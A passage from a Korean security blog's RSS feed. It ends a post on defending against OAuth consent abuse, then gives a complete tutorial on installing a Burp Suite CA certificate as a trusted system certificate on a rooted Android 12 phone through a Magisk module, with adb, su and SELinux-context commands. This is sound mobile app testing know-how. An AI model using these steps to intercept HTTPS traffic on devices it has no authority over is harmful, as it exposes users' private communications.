&lt;p data-end=&quot;4800&quot; data-start=&quot;4637&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;많은 조직이 이런 이야기를 들으면 바로 MFA 강화나 비밀번호 정책 강화부터 떠올립니다. 물론 그것도 필요합니다. 하지만 이 문제는 본질적으로 &lt;b&gt;인증 문제라기보다 위임된 권한의 통제 문제&lt;/b&gt;에 가깝습니다. 공격자는 사용자의 비밀번호를 훔치지 않고도 원하는 결과에 도달할 수 있기 때문입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;4828&quot; data-start=&quot;4802&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;그래서 대응의 우선순위는 조금 달라져야 합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;5009&quot; data-start=&quot;4830&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;가장 먼저 필요한 것은 &lt;b&gt;동의 승인 게이트를 엄격하게 두는 것&lt;/b&gt;입니다. 로그인만 성공한다고 모든 권한을 주어서는 안됩니다. 민감 권한을 요청하는 앱은 사용자 자율 동의가 아니라 관리자 승인 전용으로 돌리고, 공개 카탈로그나 사전 검증된 앱만 허용하는 방식으로 표면을 줄여야 합니다. 사용자가 무엇이든 동의할 수 있게 열어둔 환경에서는 결국 교육만으로 버티기 어렵습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;5155&quot; data-start=&quot;5011&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;두 번째는 &lt;b&gt;Redirect URI 하드닝&lt;/b&gt;입니다. exact-match, HTTPS 강제, 사전 등록된 도메인 제한은 기본값이어야 합니다. 예외적으로 넓게 열어둔 패턴은 실무 편의상 유지되는 경우가 많지만, 이런 예외가 공격자에게 가장 먼저 악용됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;5306&quot; data-start=&quot;5157&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;세 번째는 &lt;b&gt;기준선 기반 탐지 체계&lt;/b&gt;입니다. 새 앱 생성 급증, 비업무 시간 앱 승인, 과도한 스코프 조합, 디바이스 코드 반복 시도 같은 흐름은 별도로 관리하는 것이 좋습니다. 단일 이벤트로 보면 노이즈처럼 보여도, 연쇄적으로 엮으면 꽤 강한 공격 체인이 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;5499&quot; data-start=&quot;5308&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;네 번째는 &lt;b&gt;보고와 교육 방식의 수정&lt;/b&gt;입니다. 사용자에게 &amp;ldquo;수상한 로그인에 주의하라&amp;rdquo;는 식의 메시지만 반복하는 것은 한계가 있습니다. 오히려 &amp;ldquo;당신이 동의한 앱은 메일과 파일을 어디까지 읽을 수 있는가&amp;rdquo;를 시각적으로 설명하는 편이 더 효과적입니다. 사용자는 로그인은 익숙하지만, 권한 위임의 결과는 체감하지 못하는 경우가 많기 때문입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;5499&quot; data-start=&quot;5308&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;5499&quot; data-start=&quot;5308&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;6. AI의 발전, 그럼에도 기본에 충실해야하는 이유&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-end=&quot;5499&quot; data-start=&quot;5308&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;394&quot; data-start=&quot;159&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;개인적으로는 이 영역이 앞으로의 취약점 진단에서 더 비중이 커질 것이라고 봅니다. 이유는 간단합니다. 이제 많은 조직이 비밀번호 정책, MFA, 조건부 접근 같은 전통적 통제를 어느 정도 갖추기 시작했기 때문입니다. 반면 권한 위임, 승인된 앱 관리, 장기 토큰 운영 통제는 상대적으로 느슨한 경우가 많습니다. 공격자는 항상 상대적으로 약한 고리를 찾습니다. 지금 그 고리 중 하나가 OAuth 동의 구조라고 생각합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;394&quot; data-start=&quot;159&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;865&quot; data-start=&quot;396&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;특히 최근에는 개발 업무 전반에 AI가 빠르게 도입되면서, 인증 기능 자체를 구현하는 진입장벽은 과거보다 훨씬 낮아졌습니다. &lt;b&gt;최근에는 AI를 활용해 OAuth/OIDC 연동 자체는 빠르게 구현할 수 있게 되었지만, 정작 더 중요한 &amp;lsquo;누가 무엇에 어디까지 접근 가능한가&amp;rsquo;에 대한 권한 설계 검증은 자동으로 해결되지 않습니다.&lt;/b&gt; 인증 구현이 쉬워진 만큼, 서비스와 연동 앱은 더 빠르게 늘어나고, 그 과정에서 누가 어떤 자산에 어떤 범위로 접근 가능한지에 대한 &lt;b&gt;전체 권한 매트릭스&lt;/b&gt;는 오히려 더 불투명해지고 복잡해질 수 있습니다. 즉, 로그인 기능은 더 정교해졌는데, 그 뒤에 연결된 권한 동의 구조와 위임 관계는 충분히 검증되지 않은 채 확장될 가능성이 커진 것입니다. 저는 이 지점이 앞으로 더 위험해질 수 있다고 봅니다. 구현 속도가 빨라진 환경에서는 인증이 안전해 보인다는 이유만으로 전체 권한 구조까지 안전하다고 오해하기 쉽기 때문입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;865&quot; data-start=&quot;396&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-end=&quot;865&quot; data-start=&quot;396&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;AI는 인증 구현의 속도를 높여주지만, 권한 설계의 책임까지 대신 져주지는 않습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;865&quot; data-start=&quot;396&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1134&quot; data-start=&quot;867&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;저는 진단 업무를 하면서 점점 더 분명하게 느끼는 것이 있습니다. &lt;b&gt;비밀번호 보안에서 권한 보안으로 초점이 이동하는 순간을 놓치면, 실제 위협을 늦게 보게 된다&lt;/b&gt;는 점입니다. OAuth는 단순히 편리한 로그인 연동 기술이 아니라, 조직 자산의 일부 운영권을 외부 애플리케이션에 넘기는 인터페이스입니다. 그래서 이 영역을 점검할 때는 단순 취약점 체크리스트 수준이 아니라, &amp;ldquo;누가 언제 어떤 권한을 어떤 경로로 위임했는가&amp;rdquo;를 재현 가능하고 증빙 가능한 형태로 남겨야 합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;1134&quot; data-start=&quot;867&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1407&quot; data-start=&quot;1136&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실무 5년차쯤 되면 오히려 더 조심스러워지는 부분도 있습니다. 예전에는 취약점 하나를 식별하면 그 자체로 명확하다고 느꼈다면, 지금은 설계와 운영의 경계에 있는 리스크일수록 더 많이 고민하게 됩니다. OAuth 관련 이슈가 특히 그렇습니다. 겉으로는 정상 기능이고, 사용자는 실제로 동의했고, 토큰도 합법적으로 발급되었습니다. 그런데 그 결과가 조직 입장에서는 침해와 다를 바 없을 수 있습니다. 저는 이런 지점이야말로 앞으로 취약점 진단가가 더 집요하게 다뤄야 할 영역이라고 봅니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;1407&quot; data-start=&quot;1136&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-end=&quot;1407&quot; data-start=&quot;1136&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Security/WEB</category>
      <category>OAuth</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/317</guid>
      <comments>https://gomguk.tistory.com/317#entry317comment</comments>
      <pubDate>Thu, 12 Mar 2026 08:42:39 +0900</pubDate>
    </item>
    <item>
      <title>Android 12 단말에 Burp CA 인증서 등록하기 (Magisk 모듈 방식)</title>
      <link>https://gomguk.tistory.com/315</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안드로이드 앱 모의해킹에서 HTTPS 트래픽 분석은 기본 중의 기본이다. Burp Suite를 프록시로 구성하고 단말의 네트워크 트래픽을 가로채기 위해서는 Burp의 CA 인증서를 단말이 신뢰하도록 등록해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Android 7(Nougat) 이후부터 앱은 기본적으로 사용자가 직접 설치한 인증서(User CA)를 신뢰하지 않는다. 네트워크 보안 설정(&lt;code&gt;network_security_config&lt;/code&gt;)으로 명시적으로 허용하지 않는 한, 사용자 인증서로는 HTTPS 트래픽 복호화가 불가능하다. 따라서 인증서를 &lt;b&gt;시스템 인증서(System CA)&lt;/b&gt; 로 등록해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Android 12 + Magisk 루팅 환경에서 시스템 인증서 등록을 시도했고, 흔히 알려진 tmpfs 마운트 방식이 동작하지 않아 Magisk 모듈 방식으로 해결했다. 시행착오 과정과 최종 해결 방법을 정리한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 환경&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;height: 180px;&quot; width=&quot;668&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;단말 OS&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;Android 12 (SDK 31)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;루팅 방법&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;Magisk (magic mount)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;프록시 도구&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;Burp Suite (동일 네트워크 PC)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;연결&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;ADB USB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 인증서 준비&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Burp Suite에서 CA 인증서를 내보내는 방법은 두 가지다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1830&quot; data-origin-height=&quot;1160&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Gd4rz/dJMcahi818X/9d1j2hx5wQnPusNedVTXF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Gd4rz/dJMcahi818X/9d1j2hx5wQnPusNedVTXF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Gd4rz/dJMcahi818X/9d1j2hx5wQnPusNedVTXF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGd4rz%2FdJMcahi818X%2F9d1j2hx5wQnPusNedVTXF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;761&quot; height=&quot;482&quot; data-origin-width=&quot;1830&quot; data-origin-height=&quot;1160&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;Proxy &amp;rarr; Options &amp;rarr; Import/export CA certificate &amp;rarr; Certificate in DER format&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;또는 프록시 설정 후 브라우저에서 &lt;code&gt;http://burp&lt;/code&gt; 접속 &amp;rarr; CA Certificate 다운로드&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서는 DER 형식으로 내보낸 파일(&lt;code&gt;0220.der&lt;/code&gt;)을 사용했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Android 시스템 인증서 경로(&lt;code&gt;/system/etc/security/cacerts/&lt;/code&gt;)에 넣는 파일은 특정 형식을 따라야 한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;PEM 형식&lt;/b&gt;으로 변환된 인증서&lt;/li&gt;
&lt;li&gt;파일명은 &lt;code&gt;&amp;lt;subject_hash_old&amp;gt;.0&lt;/code&gt; 형식 (OpenSSL의 구 해시 방식)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# DER &amp;rarr; PEM 변환
openssl x509 -inform DER -in 0220.der -out burp_ca.pem

# subject_hash_old 기반 파일명 계산
HASH=$(openssl x509 -inform PEM -subject_hash_old -in burp_ca.pem | head -1)
echo &quot;Hash: $HASH&quot;
# Hash: 9a5ba575

# 파일명 변경
cp burp_ca.pem ${HASH}.0&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;subject_hash_old를 써야 하는 이유&lt;/i&gt;&lt;br /&gt;Android는 인증서 파일을 찾을 때 OpenSSL의 구 해시(-subject_hash_old) 기반 파일명을 사용한다. 신규 해시(-subject_hash)로 생성하면 시스템이 인증서를 인식하지 못한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 시행착오 &amp;mdash; tmpfs 마운트 방식&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적으로 알려진 방식은 &lt;code&gt;/system/etc/security/cacerts/&lt;/code&gt; 위에 tmpfs를 마운트하고 인증서를 복사하는 방법이다.&lt;/p&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;# 기존 인증서 백업
adb shell su -c &quot;cp /system/etc/security/cacerts/* /data/local/tmp/cacerts_backup/&quot;

# tmpfs 마운트
adb shell su -c &quot;mount -t tmpfs tmpfs /system/etc/security/cacerts&quot;

# 백업 복원 + 새 인증서 추가
adb shell su -c &quot;cp /data/local/tmp/cacerts_backup/* /system/etc/security/cacerts/&quot;
adb shell su -c &quot;cp /data/local/tmp/9a5ba575.0 /system/etc/security/cacerts/&quot;
adb shell su -c &quot;chmod 644 /system/etc/security/cacerts/*&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마운트 자체는 성공하고 파일도 복사됐지만, Burp 인증서가 인식되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원인 확인을 위해 파일 상태를 점검했다.&lt;/p&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;adb shell su -c &quot;ls -laZ /system/etc/security/cacerts/9a5ba575.0&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;-rwxr-xr-x 1 root root u:object_r:tmpfs:s0 1326 ... 9a5ba575.0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는 두 가지였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;① SELinux 컨텍스트 불일치&lt;/b&gt;&lt;br /&gt;정상적인 시스템 인증서의 SELinux 컨텍스트는 &lt;code&gt;u:object_r:system_security_cacerts_file:s0&lt;/code&gt;이어야 한다. tmpfs 위에 복사된 파일은 &lt;code&gt;u:object_r:tmpfs:s0&lt;/code&gt;로 지정되어 시스템이 신뢰하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;② setenforce 0 차단&lt;/b&gt;&lt;br /&gt;SELinux를 Permissive로 전환해 컨텍스트 제한을 우회하려 했지만, Magisk가 SafetyNet 우회를 위해 setenforce를 가로막아 실제로는 적용되지 않았다.&lt;/p&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;adb shell su -c &quot;setenforce 0; echo exit:$?&quot;
# exit:0  &amp;larr; 성공처럼 보이지만...

adb shell su -c &quot;getenforce&quot;
# Enforcing  &amp;larr; 실제로는 그대로&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Magisk는 루트 셸에서 &lt;code&gt;setenforce 0&lt;/code&gt;의 종료 코드를 0으로 위장하지만, 시스템 SELinux 상태는 변경하지 않는다. 이 때문에 tmpfs 위 파일의 컨텍스트를 &lt;code&gt;chcon&lt;/code&gt;으로 수정하는 것도 막힌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론적으로 tmpfs 방식은 이 환경에서 동작하지 않는다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 해결 방법 &amp;mdash; Magisk 모듈 방식&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Magisk는 부팅 시 모듈 디렉토리(&lt;code&gt;/data/adb/modules/&lt;/code&gt;)에 등록된 &lt;code&gt;system/&lt;/code&gt; 하위 파일을 실제 &lt;code&gt;/system&lt;/code&gt; 경로에 bind mount한다. Magisk 데몬 자체는 &lt;code&gt;u:r:magisk:s0&lt;/code&gt; SELinux 컨텍스트로 동작하기 때문에, 모듈을 통한 마운트 시 올바른 SELinux 컨텍스트와 권한이 적용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;5.1 모듈 디렉토리 구조&lt;/b&gt;&lt;/h3&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;/data/adb/modules/burp_ca_cert/
├── module.prop
├── post-fs-data.sh
└── system/
    └── etc/
        └── security/
            └── cacerts/
                └── 9a5ba575.0&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;5.2 설치 과정&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 인증서를 단말로 전송&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;adb push 9a5ba575.0 /data/local/tmp/9a5ba575.0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 모듈 디렉토리 생성 및 인증서 배치&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;adb shell su -c &quot;mkdir -p /data/adb/modules/burp_ca_cert/system/etc/security/cacerts&quot;
adb shell su -c &quot;cp /data/local/tmp/9a5ba575.0 /data/adb/modules/burp_ca_cert/system/etc/security/cacerts/9a5ba575.0&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. module.prop 작성&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Magisk가 모듈을 인식하기 위해 필수적인 파일이다.&lt;/p&gt;
&lt;pre class=&quot;stata&quot;&gt;&lt;code&gt;# 로컬에서 파일 생성 후 push
printf 'id=burp_ca_cert\nname=Burp CA Certificate\nversion=v1\nversionCode=1\nauthor=pentest\ndescription=Burp Suite CA as system CA\n' &amp;gt; /tmp/module.prop
adb push /tmp/module.prop /data/local/tmp/module.prop
adb shell su -c &quot;cp /data/local/tmp/module.prop /data/adb/modules/burp_ca_cert/module.prop&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;직접 쓰기가 안 되는 이유&lt;/b&gt;&lt;br /&gt;/data/adb/ 경로는 Magisk 데몬이 관리하는 영역으로, SELinux 정책상 일반 루트 셸에서 직접 파일을 생성하거나 권한을 변경할 수 없다. 파일 복사는 허용되지만 chmod, ls 등 일부 명령은 차단된다. /data/local/tmp/를 경유해서 cp로 복사하는 방법으로 우회한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. post-fs-data.sh 작성&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;부팅 시 Magisk가 실행하는 스크립트다. 인증서의 권한과 SELinux 컨텍스트를 올바르게 설정한다.&lt;/p&gt;
&lt;pre class=&quot;stata&quot;&gt;&lt;code&gt;printf '#!/system/bin/sh\nCERT=/system/etc/security/cacerts/9a5ba575.0\nchmod 644 $CERT 2&amp;gt;/dev/null\nchown root:root $CERT 2&amp;gt;/dev/null\nchcon u:object_r:system_security_cacerts_file:s0 $CERT 2&amp;gt;/dev/null\n' &amp;gt; /tmp/post-fs-data.sh

adb push /tmp/post-fs-data.sh /data/local/tmp/post-fs-data.sh
adb shell su -c &quot;cp /data/local/tmp/post-fs-data.sh /data/adb/modules/burp_ca_cert/post-fs-data.sh&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;post-fs-data.sh 실행 권한&lt;/b&gt;&lt;br /&gt;Magisk는 이 스크립트를 /system/bin/sh /path/to/post-fs-data.sh 형식으로 실행한다. 파일에 실행 비트(+x)가 없어도 sh가 직접 해석하므로 동작에 문제없다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5. 재부팅&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;adb reboot&lt;/code&gt;으로 Magisk 활성화&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;adb reboot&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 결과 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재부팅 후 ADB 연결이 복구되면 인증서 상태를 확인한다.&lt;/p&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;adb shell su -c &quot;ls -laZ /system/etc/security/cacerts/9a5ba575.0&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;-rw-r--r-- 1 root root u:object_r:system_security_cacerts_file:s0 1326 ... 9a5ba575.0&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;adb shell su -c &quot;mount | grep cacerts&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;/dev/block/sda34 on /system/etc/security/cacerts/9a5ba575.0 type f2fs (ro,lazytime,seclabel,...)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증서 내용이 의도한 Burp CA와 동일한지 MD5로 교차 검증한다.&lt;/p&gt;
&lt;pre class=&quot;vala&quot;&gt;&lt;code&gt;# 단말
adb shell su -c &quot;cat /system/etc/security/cacerts/9a5ba575.0 | md5sum&quot;
# 65bb83dcdf5664adb9138325f40de496

# 로컬
md5sum 9a5ba575.0
# 65bb83dcdf5664adb9138325f40de496  9a5ba575.0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해시가 일치하면 정상 등록된 것이다. 이후 Burp Suite 프록시를 통해 HTTPS 트래픽 스니핑이 가능한 상태가 된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 정리&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Android 12 + Magisk 환경에서 Burp CA 인증서를 시스템 인증서로 영구 등록하는 과정을 요약하면 다음과 같다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Burp에서 DER 형식으로 CA 인증서 내보내기&lt;/li&gt;
&lt;li&gt;&lt;code&gt;openssl&lt;/code&gt;로 PEM 변환 및 &lt;code&gt;subject_hash_old&lt;/code&gt; 기반 파일명 생성&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/data/adb/modules/&amp;lt;id&amp;gt;/system/etc/security/cacerts/&lt;/code&gt; 경로에 배치&lt;/li&gt;
&lt;li&gt;&lt;code&gt;module.prop&lt;/code&gt;, &lt;code&gt;post-fs-data.sh&lt;/code&gt; 작성&lt;/li&gt;
&lt;li&gt;&lt;code&gt;adb reboot&lt;/code&gt;로 재부팅&lt;/li&gt;
&lt;li&gt;SELinux 컨텍스트 및 파일 권한 확인&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;tmpfs 방식은 Android 12에서 Magisk의 SELinux 정책으로 인해 컨텍스트 설정이 차단되어 인증서 인식에 실패한다. Magisk 모듈 방식은 Magisk 데몬이 직접 마운트를 처리하므로 올바른 컨텍스트가 자동으로 적용되고, 재부팅 후에도 유지된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Security/└ 안드로이드 취약점 진단</category>
      <category>android12</category>
      <category>Burp</category>
      <category>magisk</category>
      <category>모의해킹</category>
      <category>안드로이드</category>
      <category>안드로이드취약점진단</category>
      <category>인증서</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/315</guid>
      <comments>https://gomguk.tistory.com/315#entry315comment</comments>
      <pubDate>Tue, 24 Feb 2026 23:29:15 +0900</pubDate>
    </item>
    <item>
      <title>[Frida android] 17.6.0 계측 구조 변경 - ptrace에서 proc/mem 기반으로</title>
      <link>https://gomguk.tistory.com/314</link>
